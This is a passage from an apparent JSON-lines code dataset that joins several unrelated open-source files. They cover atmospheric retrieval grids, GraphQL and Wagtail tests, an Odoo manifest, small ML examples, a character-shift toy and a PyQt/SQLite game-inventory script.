SensorNoiseAPriori(DataProviderBase):\n \"\"\"\n Measurement error due to sensor noise.\n\n The :code:`SensorNoiseAPriori` class constructs a combined\n observation error covariance matrix from the noise characteristics\n of a list of sensors.\n\n The noise of particular sensors can be amplified by adding the\n scaling factor to the :code:`noise_scaling` attribute of the\n class.\n\n Attributes:\n\n noise_scaling(:code:`dict`): Dictionary mapping sensor names to\n noise scaling factors.\n \"\"\"\n def __init__(self,\n sensors):\n \"\"\"\n Arguments:\n\n sensors(list of :code:`artssat.sensor.Sensor`): Sensors used\n in the observation for which to construct the observation\n error covariance matrix.\n\n \"\"\"\n self.sensors = sensors\n self.noise_scaling = {}\n\n def get_observation_error_covariance(self, *args, **kwargs):\n m = 0\n\n stds = []\n\n for s in self.sensors:\n if isinstance(s, ActiveSensor):\n if s.name in self.noise_scaling:\n c = self.noise_scaling[s.name]\n else:\n c = 1.0\n stds += [c * s.nedt]\n\n for s in self.sensors:\n if isinstance(s, PassiveSensor):\n if s.name in self.noise_scaling:\n c = self.noise_scaling[s.name]\n else:\n c = 1.0\n stds += [c * s.nedt]\n\n sig = np.concatenate(stds).ravel()\n return sp.sparse.diags(sig ** 2.0, format = \"coo\")\n\n################################################################################\n# Reduced retrieval grids\n################################################################################\n\nclass PiecewiseLinear(Transformation):\n def __init__(self, grid):\n self.grid = grid\n\n def initialize(self, data_provider, *args, **kwargs):\n old_grid, new_grid = self.grid._get_grids(*args, **kwargs)\n m = new_grid.size\n n = old_grid.size\n A = np.zeros((m, n))\n\n if m == 3:\n zl = new_grid[0]\n zr = new_grid[-1]\n A[0, old_grid < zl] = 1.0\n A[1, np.logical_and(old_grid >= zl, old_grid < zr)] = 1.0\n A[2, old_grid >= zr] = 1.0\n else:\n\n z = new_grid[0]\n zr = new_grid[1]\n conditions = [old_grid <= z, old_grid > z]\n values = [1.0, lambda x: np.maximum(1.0 - (x - z) / (zr - z), 0.0)]\n A[0, :] = np.piecewise(old_grid, conditions, values)\n\n for i in range(1, new_grid.size - 1):\n zl = new_grid[i - 1]\n z = new_grid[i]\n zr = new_grid[i + 1]\n conditions = [old_grid < z,\n old_grid == z,\n old_grid > z]\n values = [lambda x: np.maximum(1.0 - (z - x) / (z - zl), 0.0),\n 1.0,\n lambda x: np.maximum(1.0 - (x - z) / (zr - z), 0.0)]\n A[i, :] = np.piecewise(old_grid, conditions, values)\n\n z = new_grid[-1]\n zl = new_grid[-2]\n conditions = [old_grid < z, old_grid >= z]\n values = [lambda x: np.maximum(1.0 - (z - x) / (z - zl), 0.0), 1.0]\n A[-1, :] = np.piecewise(old_grid, conditions, values)\n\n b = np.zeros(n)\n\n self.A = A\n self.b = b\n\n def setup(self, ws, data_provider, *args, **kwargs):\n self.initialize(data_provider, *args, **kwargs)\n ws.jacobianSetAffineTransformation(transformation_matrix = self.A,\n offset_vector = self.b)\n\n def __call__(self, x):\n A_ = A / np.sum(A, axis = -1, keepdims = True)\n return A_ @ (x - self.b)\n\n def invert(self, x):\n return self.A.T @ x + self.b\n\n\nclass ReducedVerticalGrid(APrioriProviderBase):\n\n def __init__(self,\n a_priori,\n grid,\n quantity = \"pressure\",\n covariance = None,\n provide_retrieval_grid = True):\n\n if hasattr(a_priori, \"mask\"):\n if not a_priori.mask is None:\n if not hasattr(self, \"get_mask\"):\n self.__dict__[\"get_mask\"] = self._get_mask\n\n if covariance is None:\n super().__init__(a_priori.name, a_priori)\n else:\n super().__init__(a_priori.name, covariance)\n self.a_priori = a_priori\n self.new_grid = grid\n self.quantity = quantity\n self._covariance = covariance\n\n retrieval_p_name = \"get_\" + a_priori.name + \"_p_grid\"\n if provide_retrieval_grid:\n self.__dict__[retrieval_p_name] = self.get_retrieval_p_grid\n\n def _get_grids(self, *args, **kwargs):\n f_name = \"get_\" + self.quantity\n try:\n old_grid = getattr(self.owner, f_name)(*args, **kwargs)\n except:\n raise Exception(\"Data provider does not provide get function \"\n \"for quantity {} required to determine original \"\n \"size of retrieval grid.\"\n .format(self.quantity))\n return old_grid, self.new_grid\n\n\n def _interpolate(self, y, *args, **kwargs):\n old_grid, new_grid = self._get_grids(*args, **kwargs)\n if self.quantity == \"pressure\":\n f = sp.interpolate.interp1d(old_grid[::-1], y[::-1],\n axis = 0,\n bounds_error = False,\n fill_value = (y[-1], y[0]))\n yi = f(new_grid[::-1])[::-1]\n else:\n f = sp.interpolate.interp1d(old_grid, y,\n axis = 0,\n bounds_error = False,\n fill_value = (y[0], y[-1]))\n yi = f(new_grid)\n return yi\n\n def _interpolate_matrix(self, y, *args, **kwargs):\n old_grid, new_grid = self._get_grids(*args, **kwargs)\n if self.quantity == \"pressure\":\n f = sp.interpolate.interp2d(old_grid[::-1], old_grid[::-1], y[::-1, ::-1],\n bounds_error = False, fill_value=np.nan)\n yi = f(new_grid[::-1], new_grid[::-1])[::-1, ::-1]\n else:\n f = sp.interpolate.interp2d(old_grid, old_grid, y,\n bounds_error = False)\n yi = f(new_grid, new_grid)\n\n if (yi.shape[0] > 1) and (yi.shape[1] > 1):\n # Check for degeneracy at boundaries.\n if np.all(yi[0, :] == yi[1, :]):\n yi[0, 0] = yi[1, 1]\n yi[0, 1:] = 0.0\n yi[1:, 0] = 0.0\n\n # Check for degeneracy at boundaries.\n if np.all(yi[-1, :] == yi[-2, :]):\n yi[-1, -1] = yi[-2, -2]\n yi[-1, :-1] = 0.0\n yi[:-1, -1] = 0.0\n return yi\n\n def _get_mask(self, data_provider, *args, **kwargs):\n mask = self.a_priori._get_mask(data_provider, *args, **kwargs)\n\n mask_i = self._interpolate(mask, *args, **kwargs)\n mask_i[mask_i > 0.0] = 1.0\n\n # Return if mask is false everywhere\n if np.all(np.logical_not(mask)):\n return mask_i\n\n\n old_grid, new_grid = self._get_grids(*args, **kwargs)\n i_0_old, i_1_old = np.where(mask)[0][[0, -1]]\n i_0_new, i_1_new = np.where(mask_i)[0][[0, -1]]\n\n if self.quantity == \"pressure\":\n if old_grid[i_0_old] > new_grid[i_0_new]:\n mask_i[max(i_0_new - 1, 0)] = 1.0\n if old_grid[i_1_old] < new_grid[i_1_new]:\n mask_i[min(i_1_new + 1, new_grid.size - 1)] = 1.0\n else:\n if old_grid[i_0_old] < new_grid[i_0_new]:\n mask_i[max(i_0_new - 1, 0)] = 1.0\n if old_grid[i_1_old] > new_grid[i_1_new]:\n mask_i[min(i_1_new + 1, new_grid.size - 1)] = 1.0\n\n return mask_i.astype(np.bool)\n\n def get_xa(self, *args, **kwargs):\n self.a_priori.owner = self.owner\n xa = self.a_priori.get_xa(*args, **kwargs)\n return self._interpolate(xa, *args, **kwargs)\n\n def get_x0(self, *args, **kwargs):\n self.a_priori.owner = self.owner\n if hasattr(self.a_priori, \"get_x0\"):\n x0 = self.a_priori.get_x0(*args, **kwargs)\n else:\n x0 = self.a_priori.get_xa(*args, **kwargs)\n return self._interpolate(x0, *args, **kwargs)\n\n def get_covariance(self, *args, **kwargs):\n if self._covariance is None:\n self.a_priori.owner = self.owner\n covmat = self.a_priori.get_covariance(*args, **kwargs)\n if isinstance(covmat, sp.sparse.spmatrix):\n covmat = covmat.todense()\n covmat = self._interpolate_matrix(covmat, *args, **kwargs)\n mask = self._get_mask(self.owner, *args, **kwargs)\n for i in np.where(np.logical_not(mask))[0]:\n covmat[i, i + 1 :] = 0.0\n covmat[i+1 :, i] = 0.0\n return covmat\n else:\n return self._covariance.get_covariance(self.owner, *args, **kwargs)\n\n def get_precision(self, *args, **kwargs):\n if self._covariance is None:\n self.a_priori.owner = self.owner\n precmat = self.a_priori.get_precision(*args, **kwargs)\n if isinstance(precmat, sp.sparse.spmatrix):\n precmat = precmat.todense()\n return self._interpolate_matrix(precmat, *args, **kwargs)\n else:\n return self._covariance.get_precision(self.owner, *args, **kwargs)\n\n def get_retrieval_p_grid(self, *args, **kwargs):\n if self.quantity == \"pressure\":\n return self._get_grids(*args, **kwargs)[1]\n else:\n p = self.owner.get_pressure(*args, **kwargs)\n return self._interpolate(p, *args, **kwargs)\n\n\nclass MaskedRegularGrid(ReducedVerticalGrid):\n\n def __init__(self,\n a_priori,\n n_points,\n mask,\n quantity = \"pressure\",\n covariance = None,\n provide_retrieval_grid = True,\n transition = None):\n\n if not a_priori.mask is None:\n if not hasattr(self, \"get_mask\"):\n self.__dict__[\"get_mask\"] = self._get_mask\n\n super().__init__(a_priori, None, quantity, covariance,\n provide_retrieval_grid = provide_retrieval_grid)\n self.n_points = n_points\n self.mask = mask\n\n retrieval_p_name = \"get_\" + a_priori.name + \"_p_grid\"\n if provide_retrieval_grid:\n self.__dict__[retrieval_p_name] = self.get_retrieval_p_grid\n\n self.transition = transition\n\n def _get_mask(self, data_provider, *args, **kwargs):\n _, new_grid = self._get_grids(*args, **kwargs)\n mask = self.mask(self.owner, *args, **kwargs)\n n = min(self.n_points + 2, mask.sum() + 2)\n mask = np.ones((n,))\n mask[0] = 0.0\n mask[-1] = 0.0\n return mask\n\n def _get_grids(self, *args, **kwargs):\n mask = self.mask\n f_name = \"get_\" + self.quantity\n try:\n old_grid = getattr(self.owner, f_name)(*args, **kwargs)\n except:\n raise Exception(\"Data provider does not provide get function \"\n \"for quantity {} required to determine original \"\n \"size of retrieval grid.\"\n .format(self.quantity))\n\n mask = self.mask(self.owner, *args, **kwargs)\n\n if len(np.where(mask)[0]) > 0:\n i_first = np.where(mask)[0][0]\n i_last = np.where(mask)[0][-1]\n else:\n i_first = 0\n i_last = len(mask) - 1\n\n n = min(self.n_points + 2, mask.sum() + 2)\n new_grid = np.zeros((n,))\n new_grid[1 : -1] = np.linspace(old_grid[i_first], old_grid[i_last],\n n - 2)\n\n if n == 2:\n new_grid[0] = old_grid[0]\n new_grid[1] = old_grid[2]\n return old_grid, new_grid\n\n # Left\n if self.transition is None:\n if i_first > 0:\n new_grid[-1] = old_grid[i_first - 1]\n else:\n new_grid[0] = 2 * new_grid[1] - new_grid[2]\n else:\n new_grid[0] = new_grid[1] - self.transition\n\n # Right\n if self.transition is None:\n if i_last < old_grid.size - 1:\n new_grid[-1] = old_grid[i_last + 1]\n else:\n new_grid[-1] = 2.0 * new_grid[-2] - new_grid[-3]\n else:\n new_grid[-1] = new_grid[-2] + self.transition\n\n return old_grid, new_grid\n", "source": "simonpf/pARTS", "license": "MIT"} {"text": "from datetime import timedelta\nfrom typing import Any, Dict, List\nfrom unittest import TestCase\n\nimport hypothesis\nimport pytest\nfrom grapl_analyzerlib.test_utils.strategies.asset_view_strategy import (\n AssetProps,\n asset_props_strategy,\n)\nfrom grapl_common.debugger.vsc_debugger import wait_for_vsc_debugger\nfrom grapl_common.grapl_logger import get_module_grapl_logger\nfrom grapl_tests_common.clients.engagement_edge_client import EngagementEdgeClient\nfrom grapl_tests_common.clients.graphql_endpoint_client import GraphqlEndpointClient\nfrom grapl_tests_common.scenarios.create_lens_with_nodes_in_scope import *\n\nLOGGER = get_module_grapl_logger()\n\nGqlLensDict = Dict[str, Any]\n\nwait_for_vsc_debugger(service=\"graphql_endpoint_tests\")\n\n\n@pytest.mark.integration_test\nclass TestGraphqlEndpoint(TestCase):\n @hypothesis.given(\n asset_props=asset_props_strategy(),\n )\n @hypothesis.settings(deadline=timedelta(seconds=10))\n def test_create_lens_shows_up_in_graphql(\n self,\n asset_props: AssetProps,\n ) -> None:\n graph_client = GraphClient()\n graphql_client = GraphqlEndpointClient(jwt=EngagementEdgeClient().get_jwt())\n\n lens = create_lens_with_nodes_in_scope(self, graph_client, asset_props)\n lens_name = lens.get_lens_name()\n assert lens_name\n\n # Check that this lens shows up in the \"show all lenses\" view\n # NOTE: This test could be somewhat finicky, since it just gets the first 1000 lenses\n gql_lenses = _query_graphql_endpoint_for_lenses(graphql_client)\n assert lens_name in [l[\"lens_name\"] for l in gql_lenses]\n\n # Query by that lens name\n gql_lens = graphql_client.query_for_scope(lens_name)\n # For some reason, upon create, `lens.uid` comes back as a string like \"0x5\"\n assert gql_lens[\"uid\"] == int(lens.uid, 0) # type: ignore\n assert gql_lens[\"lens_name\"] == lens_name\n # Check the nodes in scope\n assert len(gql_lens[\"scope\"]) == 1\n # Ensure we strip the Entity and Base types\n assert gql_lens[\"scope\"][0][\"dgraph_type\"] == [\"Asset\"]\n assert gql_lens[\"scope\"][0][\"hostname\"] == asset_props[\"hostname\"]\n\n def test_describe_asset_type(\n self,\n ) -> None:\n graphql_client = GraphqlEndpointClient(jwt=EngagementEdgeClient().get_jwt())\n\n result = _query_graphql_about_type(\"Asset\", graphql_client)\n assert result[\"name\"] == \"Asset\"\n\n uid_looks_like = {\"name\": \"uid\", \"type\": {\"name\": \"Int\", \"kind\": \"SCALAR\"}}\n assert any(x for x in result[\"fields\"] if x == uid_looks_like)\n\n\ndef _query_graphql_endpoint_for_lenses(\n gql_client: GraphqlEndpointClient,\n) -> List[GqlLensDict]:\n # Just get *all* lenses\n query = \"\"\"\n {\n lenses(first: 1000, offset: 0) {\n uid,\n node_key,\n lens_name,\n score, \n lens_type,\n }\n }\n \"\"\"\n resp = gql_client.query(query)\n return resp[\"lenses\"]\n\n\ndef _query_graphql_about_type(type_name: str, graphql_client: GraphqlEndpointClient):\n query = \"\"\"\n query QueryGraphqlAboutType($type_name: String!) {\n __type(name: $type_name) {\n name\n fields {\n name\n type {\n name\n kind\n }\n }\n }\n }\n \"\"\"\n resp = graphql_client.query(query, {\"type_name\": type_name})\n return resp[\"__type\"]\n", "source": "hxnyk/grapl", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n{\n 'name': 'My Farm',\n 'version' : '1.1',\n 'category': 'Services',\n 'installable': True,\n 'application': True,\n 'depends': ['project'],\n 'data': [\n 'data/res.country.state.csv',\n 'data/seq.xml',\n 'security/ir.model.access.csv', \n 'views/farm_configuration_farm_locations.xml',\n 'views/farm_configuration_fleets.xml',\n 'views/farm_configuration_farmers.xml',\n 'views/farm_configuration_farm_locations_detail.xml',\n 'views/farm_configuration_stages.xml',\n 'views/farm_crops.xml',\n 'views/farm_dieases_cure.xml',\n 'views/farm_incidents.xml',\n 'views/farm_projects.xml',\n 'views/farm_crop_process.xml',\n 'views/farm_crop_requests.xml',\n 'views/farm_menu.xml',\n ],\n 'asset': {\n 'web.assets_backend': [\n 'farm/static/src/**/*'\n ]\n },\n 'license': 'LGPL-3'\n}", "source": "mrkienkptn/odoo", "license": "MIT"} {"text": "from django.contrib.auth import get_user_model\nfrom django.http import HttpRequest, HttpResponse\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom wagtail.tests.utils import WagtailTestUtils\nfrom wagtail.users.views.bulk_actions.user_bulk_action import UserBulkAction\n\nUser = get_user_model()\n\n\nclass TestUserSetActiveStateView(TestCase, WagtailTestUtils):\n def setUp(self):\n # create a set of test users\n self.test_users = [\n self.create_user(\n username=f\"testuser-{i}\",\n email=f\"testuser{i}@email.com\",\n password=f\"password-{i}\",\n )\n for i in range(1, 6)\n ]\n for i, user in enumerate(self.test_users):\n user.is_active = i & 1 # odd numbered users will be active\n user.save()\n self.current_user = self.login()\n self.url = (\n reverse(\n \"wagtail_bulk_action\",\n args=(\n User._meta.app_label,\n User._meta.model_name,\n \"set_active_state\",\n ),\n )\n + \"?\"\n )\n self.self_toggle_url = self.url + f\"id={self.current_user.pk}\"\n for user in self.test_users:\n self.url += f\"id={user.pk}&\"\n self.make_active_data = {\"mark_as_active\": True}\n self.make_inactive_data = {\"mark_as_active\": False}\n\n def test_simple(self):\n response = self.client.get(self.url)\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(\n response, \"wagtailusers/bulk_actions/confirm_bulk_set_active_state.html\"\n )\n\n def test_bulk_toggle(self):\n response = self.client.post(self.url, self.make_active_data)\n\n # Should redirect back to index\n self.assertEqual(response.status_code, 302)\n\n # Check that the users were marked as active\n for user in self.test_users:\n self.assertTrue(User.objects.get(email=user.email).is_active)\n\n def test_user_cannot_mark_self_as_inactive(self):\n response = self.client.get(self.self_toggle_url)\n\n self.assertEqual(response.status_code, 200)\n html = response.content.decode()\n self.assertInHTML(\"

    You cannot change your own active status

    \", html)\n\n needle = \"
      \"\n needle += \"
    • {user_email}
    • \".format(user_email=self.current_user.email)\n needle += \"
    \"\n self.assertInHTML(needle, html)\n\n # Check user was not marked as inactive\n self.assertTrue(User.objects.get(pk=self.current_user.pk).is_active)\n\n def test_before_toggle_user_hook_post(self):\n def hook_func(request, action_type, users, action_class_instance):\n self.assertEqual(action_type, \"set_active_state\")\n self.assertIsInstance(request, HttpRequest)\n self.assertIsInstance(action_class_instance, UserBulkAction)\n self.assertCountEqual(\n [user.pk for user in self.test_users], [user.pk for user in users]\n )\n\n return HttpResponse(\"Overridden!\")\n\n with self.register_hook(\"before_bulk_action\", hook_func):\n response = self.client.post(self.url, self.make_active_data)\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.content, b\"Overridden!\")\n\n def test_after_toggle_user_hook(self):\n def hook_func(request, action_type, users, action_class_instance):\n self.assertEqual(action_type, \"set_active_state\")\n self.assertIsInstance(request, HttpRequest)\n self.assertIsInstance(action_class_instance, UserBulkAction)\n self.assertCountEqual(\n [user.pk for user in self.test_users], [user.pk for user in users]\n )\n\n return HttpResponse(\"Overridden!\")\n\n with self.register_hook(\"after_bulk_action\", hook_func):\n response = self.client.post(self.url, self.make_active_data)\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.content, b\"Overridden!\")\n\n for user in self.test_users:\n self.assertTrue(User.objects.get(email=user.email).is_active)\n", "source": "Nawarrr/wagtail", "license": "BSD-3-Clause"} {"text": "import torch\nfrom models.convnext import *\nfrom utils import get_params_groups, create_lr_scheduler\nimport argparse\n\n\ndef train(opt):\n model = convnext_tiny(num_classes=2)\n p = get_params_groups(model)\n\n optimizer = torch.optim.AdamW(p, lr=opt.lr)\n # lr_scheduler =\n\n\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--epochs\", type=int, default=100, help=\"number of epochs of training\")\n parser.add_argument(\"--batch_size\", type=int, default=16, help=\"number of batch of each epoch\")\n parser.add_argument(\"--num_classes\", type=int, default=2, help=\"number of classes\")\n opt = parser.parse_args()\n train(opt)\n", "source": "DOROTHEA0/ConvNeXt", "license": "MIT"} {"text": "TEXT = 'TX'\nMARKDOWN = 'MD'\nHTML = 'HT'\n\nFORMATS = (\n (MARKDOWN, 'Markdown'),\n (TEXT, 'Plain text'),\n (HTML, 'HTML')\n)\n\nDEFAULT = MARKDOWN\n", "source": "Dikutal/Dikutal", "license": "MIT"} {"text": "from keras.models import Sequential\nfrom keras.layers import Dense\nimport numpy\nfrom visual_callbacks import AccLossPlotter\n\nnumpy.random.seed(7)\n\n# load pima indians dataset\ndataset = numpy.loadtxt(\"pima-indians-diabetes.csv\", delimiter=\",\")\n\n# split into input (X) and output (Y) variables\nX = dataset[:,0:8]\nY = dataset[:,8]\n\n# create model\nmodel = Sequential()\nmodel.add(Dense(12, input_dim=8, init='uniform', activation='relu'))\nmodel.add(Dense(8, init='uniform', activation='relu'))\nmodel.add(Dense(1, init='uniform', activation='sigmoid'))\n\n# Compile model\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# Instantiate AccLossPlotter to visualise training\nplotter = AccLossPlotter(graphs=['acc', 'loss'], save_graph=True)\n\n# Add your plotter to the fit function's callbacks list\nmodel.fit(X, Y, validation_split=0.2, nb_epoch=100, batch_size=28, callbacks=[plotter])\n\n# evaluate the model\nscores = model.evaluate(X, Y)\ninput('Press ENTER to continue...')\n", "source": "jewpaltz/keras-visuals", "license": "MIT"} {"text": "import colorama\ncolorama.init()\n\nred = '\\033[31m' # red\nblue = '\\033[34m' # blue\ngreen = '\\033[32m' # green\nyellow = '\\033[33m' # yellow\nf = '\\33[m'\n\n\nbgBlue = '\\033[46m' # backgournd blue\nbgYellow = '\\033[43m' #backgournd yellow\nbgRed = '\\033[41m' #backgournd red\n\npalavras = []\npalavrasN = []\ntipo = []\n\ndef tprint(p='', bg=bgBlue , fg=green, op=1, tamanhoDaPalavra=0):\n if tamanhoDaPalavra!= 0: # decidir o tamanho da palavra\n palavrasN.append(tamanhoDaPalavra)\n else:\n palavrasN.append(len(p))\n \n if op == 2: # enfeite\n if p!='':\n tipo.append(2)\n palavras.append(bg + fg + p) \n else: \n tipo.append(2)\n palavras.append(bg + fg + '=')\n \n if op == 1 and p != '': # pohr texto\n tipo.append(1)\n \n palavras.append(bg + fg + ' ' + p + ' ' + ' ' * (max(palavrasN) - len(p)))\n\n if op == 0: # iniciar \n print(end='')\n \n \n for i, palavra in enumerate(palavras):\n if tipo[i] == 2:\n print(palavra * (max(palavrasN)+2) + f)\n else:\n print(palavra + f)\n print(f, end='')\n \nmensagem = 'esta eh uma mensagem'\n\nletras = []\nprint(f'\\nmensagem a ser criptada:\\n {mensagem}')\n\nletras.extend(mensagem)\ncletras = []\nfor letra in letras:\n cletras.append(chr(ord(letra)+1))\n\ntprint('/', op=2)\ntprint(op=2)\ntprint(tamanhoDaPalavra=30)\ntprint('mensagem para ser criptografada:'.upper())\ntprint(mensagem.title())\ntprint('-', op=2)\ntprint('mensagem criptada:'.upper())\ntprint(''.join(cletras) )\ntprint(op=2)\ntprint('/', op=2)\ntprint(op=0)\n\n\n\n", "source": "jonasht/Python", "license": "MIT"} {"text": "conta = 0.\n# Mesma linha vai ser essa\nmesma = 23.0\n\ndici_letra = {\n '.':.88,\n ',':.88,\n ' ':.49\n}\n\ntop = {\n 0:1.2,\n 1:1.2,\n 2:1.5,\n 3:1.5,\n 4:1.3\n}\n\npalavra = ' sfaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\npalavra = ' akkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk'\n\nfor c in palavra:\n if c in dici_letra:\n conta += dici_letra[c]\n else:\n conta += 1.0\n\nlinhas = str(conta/mesma)\n\n# Procura na biblioteca o primeiro numero inteiro e devolve qual valor de top\nacha = top[int(linhas[0])]\n\n# Dependendo da quantidades da linha top ter\u00e1 um valor diferente\nprint(f'Tem {linhas} linha(s) \\ntop: {acha}')\n\n\n\n", "source": "robertoweller/jogo_historia", "license": "CC0-1.0"} {"text": "import sys\r\n\r\nfrom PyQt5.QtCore import Qt, QMimeData\r\nfrom PyQt5.QtGui import QDrag\r\nfrom PyQt5.QtWidgets import QPushButton, QWidget, QApplication\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nimport sqlite3\r\nfrom sqlite3 import Error\r\nimport pyautogui\r\nfrom PyQt5.QtCore import QObject, QThread, pyqtSignal\r\n\r\n\r\nglobal SettingShow \r\nglobal GridShow \r\nSettingShow = 1\r\nGridShow = 1\r\n\r\n\r\n\r\n\r\ndef create_connection(path):\r\n\r\n connection = None\r\n\r\n try:\r\n\r\n connection = sqlite3.connect(path)\r\n\r\n print(\"Connection to SQLite DB successful\")\r\n\r\n except Error as e:\r\n\r\n print(f\"The error '{e}' occurred\")\r\n\r\n\r\n return connection\r\n\r\ndef execute_query(connection, query):\r\n cursor = connection.cursor()\r\n try:\r\n cursor.executescript(query)\r\n connection.commit()\r\n print(\"Query executed successfully\")\r\n except Error as e:\r\n print(f\"The error '{e}' occurred\")\r\n\r\n\r\n\r\ndef execute_read_query(connection, query):\r\n cursor = connection.cursor()\r\n result = None\r\n try:\r\n cursor.execute(query)\r\n result = cursor.fetchall()\r\n return result\r\n except Error as e:\r\n print(f\"The error '{e}' occurred\")\r\n\r\n\r\n\r\n\r\n\r\n \r\nconnection = create_connection(\"inventory.sqlite\")\r\nName = \"Toxic\"\r\nwrite_data = 'insert into Color24 (Por1z1) values (\"{}\") ;'.format(Name)\r\n\r\nexecute_query(connection, write_data) \r\n\r\ndef Truncate_tables():\r\n \r\n connection = create_connection(\"inventory.sqlite\")\r\n \r\n truncate = \"\"\"\r\n DELETE FROM Toxic;\r\n DELETE FROM Chaosweaver;\r\n DELETE FROM Frostweaver;\r\n DELETE FROM Permafrost;\r\n DELETE FROM Hasted;\r\n DELETE FROM Deadeye;\r\n DELETE FROM Bombardier;\r\n DELETE FROM Flameweaver;\r\n DELETE FROM Incendiary;\r\n DELETE FROM Arcane_Buffer;\r\n DELETE FROM Echoist;\r\n DELETE FROM Stormweaver;\r\n DELETE FROM Dynamo;\r\n DELETE FROM Bonebreaker;\r\n DELETE FROM Bloodletter;\r\n DELETE FROM Steelinfused;\r\n DELETE FROM Gargantuan;\r\n DELETE FROM Berserker;\r\n DELETE FROM Sentinel;\r\n DELETE FROM Juggernaut;\r\n DELETE FROM Vampiric;\r\n DELETE FROM Overcharged;\r\n DELETE FROM Soul_Conduit;\r\n DELETE FROM Opulent;\r\n DELETE FROM Malediction;\r\n DELETE FROM Consecrator;\r\n DELETE FROM Frenzied;\r\n DELETE FROM Heralding_Minions;\r\n DELETE FROM Empowering_Minions;\r\n DELETE FROM Assassin;\r\n DELETE FROM Trickster;\r\n DELETE FROM Necromancer;\r\n DELETE FROM Rejuvenating;\r\n DELETE FROM Executioner;\r\n DELETE FROM Hexer;\r\n DELETE FROM Drought_Bringer;\r\n DELETE FROM Entangler;\r\n DELETE FROM Temporal_Bubble;\r\n DELETE FROM Treant_Horde;\r\n DELETE FROM Frost_Strider;\r\n DELETE FROM Ice_Prison;\r\n DELETE FROM Soul_Eater;\r\n DELETE FROM Flame_Strider;\r\n DELETE FROM Corpse_Detonator;\r\n DELETE FROM Evocationist;\r\n DELETE FROM Magma_Barrier;\r\n DELETE FROM Mirror_Image;\r\n DELETE FROM Storm_Strider;\r\n DELETE FROM Mana_Siphoner;\r\n DELETE FROM Corrupter;\r\n DELETE FROM Invulnerable;\r\n DELETE FROM Crystalskinned;\r\n DELETE FROM Empowered_Elements;\r\n DELETE FROM Effigy;\r\n DELETE FROM Lunaristouched;\r\n DELETE FROM Solaristouched;\r\n DELETE FROM Arakaalitouched;\r\n DELETE FROM Brine_Kingtouched;\r\n DELETE FROM Tukohamatouched;\r\n DELETE FROM Abberathtouched;\r\n DELETE FROM Shakaritouched;\r\n DELETE FROM Innocencetouched;\r\n DELETE FROM Kitavatouched;\r\n DELETE FROM Empty;\r\n DELETE FROM Stash;\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"0\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"1\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"2\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash 